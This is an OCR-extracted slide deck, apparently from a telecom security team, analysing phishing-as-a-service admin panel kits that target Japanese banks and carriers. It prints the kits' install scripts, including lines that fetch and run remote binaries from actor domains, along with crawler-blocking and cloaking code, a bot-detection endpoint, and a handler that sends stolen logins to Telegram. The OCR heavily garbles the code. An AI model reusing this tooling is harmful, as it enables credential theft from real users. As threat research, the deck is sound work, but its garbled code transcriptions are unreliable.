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Phishing as a Service Business Model
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Phishing Admin Panel Features © ddcomo Business

® Select and build phishing sites.

® Management of stolen information.
® Cloaking settings.

® URL/Domain management.

® Bypassing two-factor authentication.

® ctc.
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2. Analysis of Phishing Admin Panel Building Tool

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 7



DHRITI.MEE. EHE

Phishing Admin Panel Building Tool © ddcomo Business

After investigating two PhaaS tools, we found the following:

® |nstallation commands are provided for building it.

® Build a admin panel by executing scripts in a Linux environment.

® By leveraging Docker, you can easily build and delete containers.

® MySQL and Redis are used as database functions in the admin panel.

® The URL for the PhaaSs infrastructure was specified in the script.
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Security Vertification
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install.sh ® docomo Business

® Download and install Docker.

® Download and install the phishing admin panel building tool. (install.zip)
® nginx configuration.

® DB configuration.

® Get Cloudflare IP Addresses. (Using Cloudflare)

® Get search engine crawler IP addresses. (crawler blocking)

® Generating the URL for the phishing admin panel.

® Generate username and password for the phishing admin panel.

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 11
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install.sh (Environment) © décomo Business

if ! command -v docker >/dev/null 2>&1; then
curl -fsSL https://get.docker.com -0 get-docker.sh
$SUDO sh get-docker.sh
rm -f get-docker.sh
else
echo "Docker BERi®, A#KEIAFHR..."

echo -e "\033[33mBN{};KEPAE Docker BF. Fifk, WL, ¥, WRLEF, \033[om" ‘ ChECk If thIS IS the

echo —e "\033 [31mFE : XFTFMERMRMABIFFAM Docker 24E ! \033[om"

#!/bin/bash read -p "MRABETEEA, BHA y BIAHE GUEMARHEILEF) : " confirm
set -e recommended
if [ "$confirm" = "y" ]; then
. . echo "IETE;& Docker HFiH..."
export DEBIAN_FRONTEND=noninteractive .
# RENTAESS (DEHZHRLIRE) environment.
0S_INFO=$(cat /etc/os-release) docker rm -f $(docker ps -aq) 2>/dev/null || true
o docker rmi -f $(docker images -q) 2>/dev/null || true
if [[ "$0S_INFO" =~ 'Ubuntu 22.04' ]]; then dofker netuork  prine =t
echo "Operating system is Ubuntu 22.04." docker volume prune -f O Insta” DQCker.
else docker builder prune -f
0 ) 2 " if [ -d "./docker" ]; then
echo "IRJBBBRERFLTER Ubuntu 22.04. it - /docker
exit 1 echo "EMMRA4ATERTH docker X%k, "
. - ® Clean up old

echo "&#F docker X3, BIMgR, "

fi . 't
environments.
if [ -f /var/log/nginx/error.log ]; then
cat /dev/null >/var/log/nginx/error. log

fi
echo "Docker HE5ER, "

else
echo -e "\033[31mAFXKAIA, BiREMZAE, \033[0m"
exit 1

fi

fi

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 12



install.sh (Download Tools)

TIMESTAMP=$(date +%s)

SERVER_IP=$(curl -s http://ipinfo.io/ip)
RANDOM_ENTRY=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 10)

ZIP_URL="https: //_. com/v4/install.zip"

ZIP_URL_WITH_TIMESTAMP="${ZIP_URL}?t=${TIMESTAMP}"

$SUDO curl -L "$ZIP_URL_WITH_TIMESTAMP" -o "docker.zip"
$SUDO unzip -o —-q "docker.zip" -d "docker"
$SUDO rm —-f "docker.zip"

DHRITI.MEE. EHE

®) décomo Business

® Get Server IP Address.

® Download and deployment of
phishing admin panel building tool.
(SZIP_URL_WITH_TIMESTAMP)

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved.
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install.sh (Generate Admin Panel URL) © décomo Business

ADMIN_USERNAME=$(cat /dev/urandom | tr -dc 'A-Za-z0-9' | fold -w 12 | head -n 1)
ADMIN_PASSWORD=$(cat /dev/urandom | tr -dc 'A-Za-z0-9' | fold -w 16 | head -n 1)
ADMIN_PASSWORD1="$ADMIN_PASSWORD&*09"

ADMIN_PASSWORD_MD5=$(echo —n $ADMIN_PASSWORD1 | md5sum | cut -d ' ' -f 1)

ADMIN_PASSWORD_MD5=$(echo —n $ADMIN_PASSWORD_MD5 | md5sum | cut -d ' ' —f 1) O PhIShIng Admm Pane| URL

if [ -n "$DB_PASSWORD" ] && [ -n "$DB_USERNAME" ]; then
docker compose exec "$DB_SERVICE" mysql ——protocol=TCP —-u"$DB_USERNAME" -p"$D hXXp!//SSERVERJP/sRAN DOM_ENTRY
B_PASSWORD" "$DB_DATABASE" -e \
"UPDATE admin_users SET username='$ADMIN_USERNAME', showword='$ADMIN_PASS

WORD', password='$ADMIN_PASSWORD_MD5' WHERE id=1" . U senam e& Pa SSWO rd
else
docker compose exec "$DB_SERVICE" mysql ——protocol=TCP —-uroot -p"lighthouse"
"lighthouse" -e \
"UPDATE admin_users SET username='$ADMIN_USERNAME', showword='$ADMIN_PASS SADM I N_USERNAM E
WORD', password="'$ADMIN_PASSWORD_MD5' WHERE id=1"
fi

SADMIN_PASSWORD

echo "Website URL: http://$SERVER_IP/$RANDOM_ENTRY" >../lighthouse. txt
echo "Admin username: $ADMIN_USERNAME" >>../lighthouse.txt

echo "Admin password: $ADMIN_PASSWORD" >>../lighthouse.txt

chmod 644 ../lighthouse.txt

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 14
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install.sh (Crawler Blocking) © d8como Business
cat <<EOF >/usr/local/bin/spider_ip.py "baidu®: [
# —%— coding: utf-8 —x-— "8.9.8.0/24",
import requests "66.29.136.0/24",
import redis "213.202.230.0/24",
import json "45.66.156.0/24",
"95.85.78.0/24",
url = "https://| . con/v2/spider_ipss. json" "61.135.165.0/24",
out_path = "/usr/local/bin/spider_ip.json" "194.233.65.0/24",
"45.32.84.0/24",
redis_host = "127.0.0.1" "182.116.63.0/24",
redis_port = 6379 "216.99.150.0/24",
r = redis.StrictRedis(host=redis_host, port=redis_port, decode_responses=True) "61.135.169.0/24",
%125.32:170.0/24",
def main(): "45.32.104.0/24",
resp = requests.get(url, timeout=10) "123.125.66.0/24",
resp.raise_for_status() "104.245.36.0/24",
with open(out_path, "w", encoding="utf-8") as fp: "171.12.221.0/24",
LB Ll s 29 "148.135.14.0/24",
gz:ak:yreiﬁgjisnéita.items(}: plBO 18D 133, 072
for'ip in ips: "44.230.141.0/24",
r.sadd("spider:cidr", ip) $489-283-29-9)/24.
"61.135.186.0/24",
if name = " main_": "34.205.169.0/24",
main() "158.247.209.0/24",
EOF "52.221.59.0/24",
"111.206.221.0/24",
$SUDO chmod +x /usr/local/bin/spider_ip.py "176.122.178.0/24",
"144.202.122.0/24",
"57.151.49_0/24"
spider_ip.py spider_ipss.json
© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 15



install.sh (Cloudflare)

PROJECT_DIR="$(pwd)"

cat <<EOF | $SUDO tee /usr/local/bin/update_cf_ip.sh >/dev/null
#!/usr/bin/env bash
set -e

GEO_DIR="$PROJECT_DIR/geo"
CF_API=https://api.cloudflare.com/client/v4/ips

echo "# Auto-generated by update_cf_ip.sh" > "\$GEO_DIR/cf_realip.conf.tmp"

curl -s \$CF_API | jq -r '.result.ipv4_cidrs([]' | sed 's/*/set_real_ip_from /;s/
\$/;/"' >> "\$GEO_DIR/cf_realip.conf.tmp"

curl -s \$CF_API | jq -r '.result.ipv6_cidrs[]' | sed 's/~/set_real_ip_from /;s/
\$/;/"' >> "\$GEO_DIR/cf_realip.conf.tmp"

if [ ! -s "\$GEO_DIR/cf_realip.conf.tmp" 1; then
echo "X Cloudflare IP T# kMK, EHit, "
exit 1

fi

mv "\$GEO_DIR/cf_realip.conf.tmp" "\$GEO_DIR/cf_realip.conf"
docker exec hyperf-nginx nginx -s reload

EOF

$SUDO chmod +x /usr/local/bin/update_cf_ip.sh

cat <<EOF | $SUDO tee /usr/local/bin/update_mmdb.sh >/dev/null
#!/usr/bin/env bash

set -e

GEO_DIR="$PROJECT_DIR/geo"

Od

DHRITI.MEE. EHE
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< > install o0s  S@m, M O e
app bin composer.json composer.lock config docker-
compose.yml
Dockerfile gateway geo html ngconf runtime
?
scripts swoole_loader_81 vendor
_nts.so
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docker-compose.yml © ddcomo Business

services:
hyperf:
build: redis: ‘
context: 1mag§: redis:7‘ 7 nginx:
dockerfile: Dockerfile # image: dockerproxy.com/library/redis:7 '
St it container_name: hyperf-redis build:
- hyperf_data: /work ports: context: ./gateway
- ", /uploads: /work/uploads" “127.0.0.1:6379:6379" container_name: hyperf-nginx
- ", /html:/work/html" volumes: restart: always

- "./nginx.conf:/work/default.conf"

- "./ngconf:/work/ngconf"

- "/etc/letsencrypt:/etc/letsencrypt"

- "/var/run/docker.sock:/var/run/docker.sock"
container_name: hyperf-app

redis_data:/data
command: redis-server --save 60 1 --loglevel warning
restart: always
networks:

hyperf-network

volumes:
“"./local.nginx.conf:/etc/nginx/nginx.conf"
"./nginx.conf:/etc/nginx/conf.d/default.conf"
"./ngconf:/etc/nginx/conf.d/ngconf"
"./gqeo:/etc/nginx/geo"

ports: mysql:
- "g501:9501" image: mysql:8 "/etc/letsencrypt:/etc/letsencrypt”
- "9502:9502" # image: dockerproxy.com/library/mysql:8 “./html:/var/www/html"

environment: container_name: hyperf-mysql "./uploads:/var/www/uploads"
- APP_ENV=dev environment:

- SCAN_CACHEABLE=true

TZ=Asia/Shanghai

“/var/log/nginx:/var/log/nginx"

restart: always MYSQL_DATABASE=1ighthouse portfég:%..
networks: MYSQL_ROOT_PASSWORD=1ighthouse
hyperf-network ports: "443:443°

depends_on: “127.0.0.1:3306:3306" depends_on:

- redis restart: always hyperf

- mysql volumes: networks:
logging: mysql_data:/var/1lib/mysql hyperf-network

driver: json-file networks:

options: hyperf-network

max-size: "100m"
max-file: "5"

hyperf

Redis&MySQL

nginx

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved.
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Dockerfile

FROM hyperf/hyperf:8.1-alpine-v3.18-swoole
LABEL maintainer="Hyperf Developers <group@hyperf.io>'
T" app.name="Hyperf"

# CETITHBE®
WORKDIR /work

#i
# —build-arg timezone=Asia/Shanghai
ARG timezone

ENV TIMEZONE=${timezone:-"Asia/Shanghai"} \
APP_ENV=prod \
SCAN_CACHEABLE=(true)

# update
RUN set -ex \
# show php version and extensions
&& php -v \
&& php -m \
&& php ——ri swoole \
some config
&& cd /etc/php81 \
# - config PHP
& { \
echo "upload_max_filesize=128M"; \
echo "post_max_size=128M"; \
echo "memory_limit=1G"; \
echo "date.timezone=${TIMEZONE}"; \
} | tee conf.d/99_overrides.ini \
# — config timezone
& 1n -sf /usr/share/zoneinfo/s{TIMEZONE} /etc/localtime \
&5 echo "${TIMEZONE}" > /etc/timezone \
# TE python3 1 python3-pip
&& apk add --no-cache python3 py3-pip \
clear works
&& rm -rf /var/cache/apk/x /tmp/* /usr/share/man \
& echo —e "\033[42;37m Build Completed :).\033[@m\n"

RUN set -ex \

&& rm -f /etc/php81/conf.d/00_opcache.ini || true

RUN apk add —-no-cache docker-cli

# RE acme.sh BFEHHH

ez EtH%

® docomo Business

2% T3,

# RE Python EEZAIALR pip
RUN pip3 install —--upgrade pip

# RE Python &
RUN pip3 install --break-system-packages beautifulsoup4 mysql-connector-python re
dis requests urllib3 tqdm

# EFBRNNBAXHHERA (TEBFRA /work)
COPY . .

# SHATENN swoole_loader ¥ EXH4E PHP FERER
COPY swoole_loader_81_nts.so /usr/lib/php81/modules/swoole_loader_81_nts.so

# M PHP ECEXXFMBAZY R
RUN echo "extension=swoole_loader_81_nts.so" > /etc/php81/conf.d/swoole_loader.in
i

# ®E Composer IH &
# RUN composer install --no-dev —--optimize-autoloader
# RUN composer install --no-dev -0 && php bin/hyperf.php

# BREBLESD
EXPOSE 9501 9502

# IBnh Hyperf IR

# CMD ["php", "bin/hyperf.php", "start"]

ENTRYPOINT ["php", "/work/bin/hyperf.php", "start"]
# CMD ["tail", "-f", "“/dev/null"]

RUN curl https://get.acme.sh | sh && \
/root/.acme.sh/acme.sh ——set-default-ca ——server letsencrypt

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved.

19




DHRITI.MEE. EHE

Cloaking Contents © ddcomo Business
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Phishing Kit Name © décomo Business

GET 200 favicon.ico 1KB
H/1.1 OK www.sbi.lsprkzo.com/sbisec/sercers/log/UP/

POST 200 validateHuman

H/1.1 OK www.sbi.lsprkzo.com/open/visitors/info/
. B1mJW4nA.j

® CoGUI (proofpoint) ol isictise B |

H/1.1 OK www.sbi.lsprkzo.com/sbisec/sercers/log/UP/assets/js/
. POST 200 coguicogui I Showresponse [&RA:
® O rienta I G U d 890 n ( ur I SCan ) H/1.1 OK www.sbi.lsprkzo.com/open/visitors/info/
GET 200 DgG3BZIx.js 8 KB

H/1.1 OK www.sbi.lsprkzo.com/sbisec/sercers/log/UP/assets/js/

GET 200 zcXITLz3.js
H/1.1 OK www.sbi.lsprkzo.com/sbisec/sercers/log/UP/assets/js/

https://www.proofpoint.com/us/blog/threat-insight/cogui-phish-kit-targets-japan-millions-messages

https://urlscan.io/blog/2025/05/06/oriental-gudgeon/

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 24
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install.sh ® docomo Business

® Download and install Docker.
® Download and run docker-compose.yml.

® Running local service.

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 25
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[
install.sh (Download) © décomo Business

# Step 1: Check if Docker 1is instal # Step 1: Check if Docker is instal
led and install if not led and install if not
if ! command -v docker &> /dev/null if ! command -v docker &> /dev/null
then then

echo "Docker could not be foun echo "Docker could not be foun
d, installing Docker..." d, installing Docker..."

curl —fsSL https://get.docker.c curl —-fsSL https://get.docker.c
om | bash om | bash
else else

echo "Docker is already install echo "Docker is already install
ed." ed."”
fi fi
# Step 2: Download docker—-compose.y # Step 2: Download docker-compose.y
ml ml
echo "Downloading docker—compose.ym echo "Downloading docker—compose.ym
Leoan™ Lana
curl —o docker-compose.yml https:// curl -o docker-compose.yml https://
I orld/docker-compose. yml e

B - com/docker—compose.yml
AT LL !
| ; th AT L

en ; th

echo 'vm.overcommit_memory=1' > en
> /etc/sysctl.conf; echo 'vm.overcommit_memory=1' >
T3 > /etc/sysctl.conf;
sysctl vm.overcommit_memory=1 fi

sysctl vm.overcommit memory=1
© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 26
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[ ]
install.sh (docker compose pull) © ddcomo Business

# Step 3: Pull code using Docker Co # Step 3: Pull code using Docker Co

mpose mpose

echo "Pulling code with Docker Comp echo "Pulling code with Docker Comp

0S€... 0S€eas

docker compose pull docker compose pull

# Check if firewall is enabled Ensu # Check 1f firewall 1s enabled Ensu

re ufw is enabled re ufw is enabled

# if sudo ufw status | grep —q inac # if sudo ufw status | grep -q inac

tive; then tive; then

# echo "Enabling UFW..." # echo "Enabling UFW..."

= sudo ufw enable - sudo ufw enable

# fi # fi

# Open ports for TCP only # Open ports for TCP only

echo "Opening ports 80 and 443 for echo "Opening ports 80 and 443 for

TCP traffic..." TCP traffic..."

# sudo ufw allow 22/tcp # sudo ufw allow 22/tcp

sudo ufw allow 80/tcp sudo ufw allow 80/tcp

sudo ufw allow 443/tcp sudo ufw allow 443/tcp
# Block external access to 3306 an
d 6379 ports
echo "Blocking external access to 3
306 and 6379 ports..."
sudo ufw deny from any to any port
3306 proto tcp
sudo ufw deny from any to any port
6379 proto tcp

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 27



install.sh (docker compose up)

# Step 4: Run local service
if ! pidof nx-update &> /dev/null
then

echo "nx-update is not runnin
g, setting up..."

curl -o nx-update https://-
..world/nx—update

chmod +x ./nx-update

nohup ./nx-update > nx-update.l
og 2>&1 &
else

echo "nx-update 1is already runn
ing."
fi

# Step 5: Start the program with Do
cker Compose

echo "Starting the program with Doc
ker Compose..."

docker compose up -d

echo "Deployment complete / ERE 5T
B!, AWEWEBRESR.,

sleep 4
# Determine whether the configurati
on file exists
if [ -f "nx-config.txt" |; then
cat nx-config.txt
else
echo "Configuration file does n
ot exist. / KKEXHATFE!"
fi

# Step 4: Run local service
if ! pidof fm-dock-master &> /dev/n
ull
then

echo "fm-dock-master is not run
ning, setting up..."

curl -o fm-dock-master https://

B - com/ fm-dock-master

chmod +x ./fm-dock-master

nohup ./fm-dock-master > fm-doc
k-master.log 2>&1 &
else

echo "fm-dock-master is alread

y running."
fi

# Step 5: Start the program with Do
cker Compose

echo "Starting the program with Doc
ker Compose..."

docker compose up -d

echo "Deployment complete / E&/S§/%8
HE00004:8 BB HON WM. 10/00"

sleep 4
# Determine whether the configurati
on file exists
if -f "fm-config.txt" ]; then
cat fm-config.txt
else
echo "Configuration file does n
ot exist. / BEEXA: QY S 4NG0H"
fi

Od
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dock I DB, fmDB i
ocker-compose.yml (hxDB, fm © décomo Business
services: services:
nxDB: fmDB:
image: mysql:5.7.43 image: mysql:5.7.43
command: command:
—explicit_defaults_for_times -explicit_defaults_for_times
tamp=1 tamp=1
-—lower_case_table_names=1 -—lower_case_table_names=1
sql_mode=STRICT_TRANS_TABLE sql_mode=STRICT_TRANS_TABLE
S,NO_ZERO_IN_DATE,NO_ZERO_DATE, ERRO S,NO_ZERO_IN_DATE,NO_ZERO_DATE, ERRO
R_FOR_DIVISION_BY_ZERO,NO_ENGINE_SU R_FOR_DIVISION_BY_ZERO,NO_ENGINE_SU
BSTITUTION BSTITUTION
group_concat_max_len=102400 group_concat_max_len=102400
--character-set-server=utf8mb --character-set-server=utf8mb
4 4
collation-server=utf8mb4_ge collation-server=utf8mb4_ge
neral_ci neral_ci
ssl-cipher=TLSv1.2 ssl-cipher=TLSv1.2
restart: always restart: always
volumes: volumes:
./nx-data/data/mysql/:/var/ ./fm-data/data/mysql/:/var/
lib/mysql/ lib/mysql/
environment: environment:
TZ: Asia/Shanghai TZ: Asia/Shanghai
MYSQL_ROOT_PASSWORD: "9zdccol MYSQL_ROOT_PASSWORD: "8zdbxgl
ux_7qg0hwWySSAqw" ux_7qg0hWyEHWqw"
MYSQL_DATABASE: '"'nxDB" MYSQL_DATABASE: "fmDB"
MYSQLD_EXTRA_OPTS: "—-ssl-cip MYSQLD_EXTRA_OPTS: "--ssl-cip
her=TLSv1.2" her=TLSv1.2"
healthcheck: network_mode: host
test: ["CMD", "mysqladmin", healthcheck:
"ping", "-hnxDB", "-uroot", "-p9zdc test: [("CMD", "mysqladmin",
colux_7qgOhWySSAqw" | "ping", "-h", "localhost", "-uroo
interval: 10s t", "-p8zdbxgIux_7qgOhWyEHWqw" ]
timeout: 5s interval: 10s
retries: 5 timeout: 5s
networks: retries: 5
nx_bridge
© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 29



docker-compose.yml (nxRedis, fmRedis)

nxRedis:
image: redis:6.2
restart: always
environment:
TZ: Asia/Shanghai
REDIS_PASSWORD: "cPKLkVnwafY1l
aVfyFoxTg"
command: redis-server require
pass cPKLkVnwafYlaVfyFOxTg
volumes:
./nx-data/data/redis/: /dat
a/
healthcheck:
test: [("CMD", "“redis-cli", "=~
a", "cPKLkVnwafYlaVfyFOxTg", "pin

interval: 10s
timeout: 5s
retries: 5
start_period: 10s
networks:
nx_bridge

fmRedis:
image: redis:6.2
restart: always
environment:
TZ: Asia/Shanghai
REDIS_PASSWORD: "gJ1QkVnwafY9
qQfyFOxTg"
command: redis-server require
pass gJ1QkVnwafY9qQfyFOxTg
volumes:
./fm-data/data/redis/:/dat

a/
network_mode: host
healthcheck:
test: ["CMD", "redis-cli", "-
a", "gJLlQkVnwafY9qQfyFOxTg", "pin

g
interval: 10s
timeout: 5s
retries: 5
start_period: 10s

Od
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dock | (nxService, fmServi i
ocKer-compose.ymi (nxoervice, rmoervice ® docomo Business
nxService: fmService:
image: nximages.world/library/n image: images.fishingmaster.wor
x:latest ld/library/fm: latest
container_name: nx_service container_name: fm_service
extra_hosts: extra_hosts:
"host.docker.internal:host- "host.docker.internal:host-
gateway" gateway"
volumes: volumes:
./nx-data/app/lock: /app/loc ./fm-data/app/lock: /app/loc
k k
./nx-data/logs/nxcode: /roo ./fm-data/logs/fishingmaste
t/logs/nxcode r:/root/logs/fishingmaster
shared_nx_htmls:/app/publi shared_fm_htmls:/app/publi
c/htmls c/htmls
- shared_nx_uploads:/app/publ shared_fm_uploads:/app/publ
ic/uploads ic/uploads
shared_nx_nginx:/app/nginx shared_fm_nginx:/app/nginx
- shared_nx_cert:/app/cert - shared_fm_cert:/app/cert
/var/run/docker.sock: /var/r /var/run/docker.sock: /var/r
un/docker.sock un/docker.sock
restart: always restart: always
environment: environment:
DB_HOST=nxDB DB_HOST=1localhost
-~ DB_PORT=3306 - DB_PORT=3306
DB_USER=root DB_USER=root
DB_PASSWORD=9zdccoIux_7qgOh DB_PASSWORD=8zdbxgIux_7qg0Oh
WySSAqw WyEHWqw
~ DB_NAME=nxDB - DB_NAME=fmDB
REDIS_HOST=nxRedis REDIS_HOST=1localhost
REDIS_PORT=6379 REDIS_PORT=6379
-~ REDIS_PASSWORD=cPKLkVnwafY1l - REDIS_PASSWORD=gJ1QkVnwafY9
aVfyFoxTg qQfyFOxTg
depends_on: depends_on:
nxDB: fmDB:
condition: service_healthy condition: service_healthy
nxRedis: fmRedis:
condition: service_healthy condition: service_healthy
31
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nxwWeb:
image: nximages.world/library/n
x-web: latest
container_name: nx_web
restart: always
volumes:
shared_nx_htmls:/var/www/ht
ml
- shared_nx_nginx:/etc/nginx/
conf_nx.d
shared_nx_cert:/etc/nginx/c
ert
- ./nx-data/logs/nginx/:/var/
log/nginx/
./:/shared-config
ports:
- "'80:80"
- "443:443"
extra_hosts:
"host.docker.internal:host-
gateway"
depends_on:
nxService:
condition: service_healthy
networks:
nx_bridge

volumes:
shared_nx_htmls:
shared_nx_uploads:
shared_nx_nginx:
shared_nx_cert:

docker-compose.yml (nxWeb, fmWeb)

fmWeb:
image: images.fishingmaster.wor
ld/library/fm-web: latest
container_name: fm_web
restart: always
volumes:
shared_fm_htmls:/var/www/ht
ml
- shared_fm_nginx:/etc/nginx/
conf_fm.d
shared_fm_cert:/etc/nginx/c
ert
- ./fm-data/logs/nginx/:/var/
log/nginx/
./:/shared-config
network_mode: host
extra_hosts:
- "host.docker.internal:host-
gateway"
depends_on:
fmService:
condition: service_healthy

volumes:
shared_fm_htmls:
shared_fm_uploads:
shared_fm_nginx:
shared_fm_cert:

Od
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Proprietary Docker image © ddcomo Business

nx (nxService) :
® |t handles background processing for the admin panel.
nx-web (nxWeb) :

® Serves as the WebUI for the admin panel.

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 33



Docker image (nx)

dist lock nginx

typings view bootstrap.js
=
nginx.conf.templ package.json package-
ate lock.json

tsconfig.json

3

start.sh

node_modules

install.sh

O~

public.pem

public

menu.json

ssl-
nginx.conf.templ
ate

od
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[/open/visitors/info/

W GET
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& POST
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& POST
H/1.1

& GET
H/1.1

1 POST
| H/1.1

200
OK

200
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200
OK

200
OK

200
OK

favicon.ico
jwini.shop/dcseaocomjapen/

validateHuman
jwini.shop/open/visitors/info/

ibsibs

jwini.shop/open/visitors/info/

BimJW4nA.js
jwini.shop/dcseaocomjapen/assets/j
s/
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jwini.shop/open/visitors/info/
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& Show response

260B
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dist/modules/visitors/controller/open/info.js

async ['validateHuman'](_0x2e3794) {

__decorate(

[

(0, decorator_1.Post)('/validateHuman', { summary:
__param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function),
__metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise),

1,

VisitorsInfoAppController.prototype,

'validateHuman',

null

11 })'

DHRITI.MEE. EHE

®) décomo Business

const _0x2ae683 = this.ctx.request.headers['x-forwarded-for']
let _@x3e0c26

if (typeof _@x2ae683 === 'string') {
_0x3e0c26 = _0Ox2ae683.split("',')[0].trim()
} else {

if (Array.isArray(_0x2ae683)) {
_0x3e0c26 = _0x2ae683([0].split(',"')[0].trim()
} else {
_0x3e0c26 = this.ctx.request.socket.remoteAddress.replace('::ffff:', '"')
}
}
try {
const _@x53cd5b = _0x2e3794.fp
if (_@x53cd5b.webdriver) {
return false
}
let _0x404214 = 0
if (Array.isArray(_0x53cd5b.plugins) && _@x53cd5b.plugins.length >= 3) {
_0x404214 += 1
}
if (
Array.isArray(_0x53cd5b. languages) &&
_0x53cd5b. languages. length > 0
) {
_0x404214 += 1
}
if (_@x53cd5b.canvasHash) {
_0x404214 += 1
}
if (_0x53cd5b.gpuVendor && _@x53cd5b.gpuRenderer) {
_0x404214 += 1
}

/open/visitors/info/validateHuman

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved.
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dist/modules/visitors/controller/open/info.js © ddcomo Business

__decorate(

[
(0, decorator_1.Post)('/saveOrUpdateLoginInfo', {

summary: 'fR7FstE#HLoginInfo’,
3,
__param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function),
__metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise),
] ’
VisitorsInfoAppController.prototype,
'saveOrUpdateLoginInfo’,
null

async ['saveOrUpdateLoginInfo'](_0x1e2769) {
try {
this.visitorsInfoService.validatelsonSize(_0x1e2769.data)
const _@x4e8f32 = await this.visitorsInfoService.savelLoginInfol
_0x1e2769.uuid,
_Bx1e2769.state,
_Bx1e2769.data
)
if (_0x4eB8f32) {
try {
const _@x403bac = await this.sSTelegramService.isConfiguredLR()
if (_@x4@3bac) {
const _@x560037 = new Date(),
_Bx3d27c2 =
'ID: ' +
_Bx4eB8f32.1id +
] E 1 &
_0x4e8f32.codeName +
' BRTERER ' +
_0x560037.toLocaleString('zh-CN', {
timeZone: ‘'Asia/Shanghai’,
}) +
"\n' +
('$23cR9%3B:\n' + JSON.stringify(_0x1e2769.data, null, 3))
this.sSTelegramService.sendMessage(_0x4eB8f32.1id, _0x3d27c2, true)
}
} catch (_0x4b8bc5) {
console. log(_0x4b8bc5)
this.visitorLogService.record(

true,
_0x4b8bc5.errorMessage

/open/visitors/info/saveOrUpdatelLoginlnfo
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Docker image (nxWeb) © décomo Business

i i : | | |

audios static 1.webp 2.webp 3.webp
: B
apiKeys.gif Favicon.ico fFavicon.jpg index.html index.html.qz

l0go.jpg robots.txt
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Outline ® docomo Business

3. Conclusion
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Conclusion ® docomo Business

® The phishing admin panel is equipped with various features.
® By leveraging Docker, the system is designed to be easily built and deleted.
® PhaaS infrastructure relies on a single URL/domain.

—>When this shuts down, all functions cease.
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® docomo Business

Thank you for your attention!

Your comments & feedbacks are always welcome!
Email : ic-nadsec@ntt.com

%I NA 4 S e c

‘ o=0=-0 ’
\/ Network Analytics for Security
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Ap pend IX © docomo Business

Case 1 Phishing Site Examples

® GMO Aozora Net Bank
https://urlscan.io/result/0198c209-298b-75c8-a3b3-86054a338084/
® Mitsubishi UF) Morgan Stanley Securities
https://urlscan.io/result/0198c674-4c04-751f-9c43-7e30606fd438/
® NTT docomo
https://urlscan.io/result/01979b75-c82d-7661-87dd-ab5ec018451b/
® Orico Card

https://urlscan.io/result/01973411-7ee3-7224-bc79-b462bc3164a5/
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Case 1 Fake Contents Examples

https://urlscan.io/search/#hash%3Aed46e93efed40678cc3a6f3395143¢c6bc58338603bf836d690f74a8
b6fcd85b3

https://urlscan.io/search/#hash%3A707003b99a2b0831f483e6900508999a6b247b7561f27e2030e277
f6afb9a9e8

https://urlscan.io/search/#hash%3A0eleda34f12136647e3cc587f999c702bf1c19b693d512d345966ea
b30d5c897
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Ap pend IX © docomo Business

Case 2 Phishing Site Examples

® NTT docomo (validateHuman)
https://urlscan.io/result/0196f642-5b03-710f-8b7a-c4d44d0a5cf6/
® NTT docomo (createOrGetUserInfo)
https://urlscan.io/result/ba56832e-ede2-4913-bfa7-b1837151a267/
® AIFUL
https://urlscan.io/result/0196f20f-3eca-752d-8315-cc3198408dab/
® Sumitomo Mitsui Card

https://urlscan.io/result/0195953b-8103-7002-9bd3-58f0d632d62f/
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nx Docker image files

® start.sh

set —-e

# BITER
echo "= 7I#®..."
npx typeorm migration:run —-—-dataSource dist/data-source.js

# RTINA
echo "BEMNAH..."
exec npm run start
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NX Docker |mage flles const { DataSource } = require('typeorm'),
path = require(‘'path'),
. . DB_HOST = process.env.DB_HOST || '127.0.0.1',
» d|5t/data-50urce.JS DB_PORT = parselnt(process.env.DB_PORT || '3306', 10),
DB_USER = process.env.DB_USER || 'root’,
DB_PASSWORD = process.env.DB_PASSWORD || '123456°',
DB_NAME = process.env.DB_NAME || 'nxDB',
AppDataSource = new DataSource(
const _0x35f@cl = (function () { type: 'mysql’,
let _@x57eebb = true host: DB_HOST,
return function (_0x323c82, _@xfb28fa) { port: DB_PORT,
const _@x500a%e = _@x57eebb username: DB_USER,
? function () { password: DB_PASSWORD,
if ( @xfb28fa) { database: DB_NAME,
const _0@x4b6cf4 = _Oxfb28fa.apply(_0x323c82, arguments) Synchrﬂnlze: L
logging: false,

return (_@xfb28fa = null), _0x4b6cf4 charset: 'utf8mb4',

: } | cache: false,
entities: |
: function () {} path.join(
return (_@x57eebb = false), _0x500a%e ‘ ‘ __dirname,
} et
(), | 'dist’,
_0x436582 = _0x35f0cl(this, function () { Yok,
return _0x436582 'modules’,
.toString() ',
.search('(((.+)+)+)+$") ‘entity’,
.toString() Dokt
.constructor(_0x436582) “*.{ts,js}'
.search('(((.+)+)+)+$") _ £
1 d ¥
0;;36582() migrations: [path.join(__dirname, '..', 'dist', 'migration', '*.js')],
i })
module.exports = { AppDataSource: AppDataSource }

© NTT DOCOMO BUSINESS, Inc. All Rights Reserved. 46



DHRITI.MEE. EHE

Ap pend IX © d6comoBusiness

nx Docker image files ‘use strict!

Object.defineProperty(exports,
. . . . exports.LICENSE = void ©
® dist/modules/sourceConfig/interface.js sy Qoo
; (function (_0x33646f
var _0xfde684 = (function ()
var _0x169b64 = true
return function (_0x2d4a79, _0x50ae8e)
var _0xa0823 = _0x169b64
? function () A
if (_0Ox50ae8e
var _0x22157b = _0x50ae8e.apply(_0x2d4a79, arguments)
return (_0x50ae8e = null), _0x22157b

__esModule', { value: true })

\
J

: function ()
return (_0x169b64 = false), _0xa0823

T

var _0x5ab279 = _0xfde684(this, function () {
return _@0x5ab279
. toString()
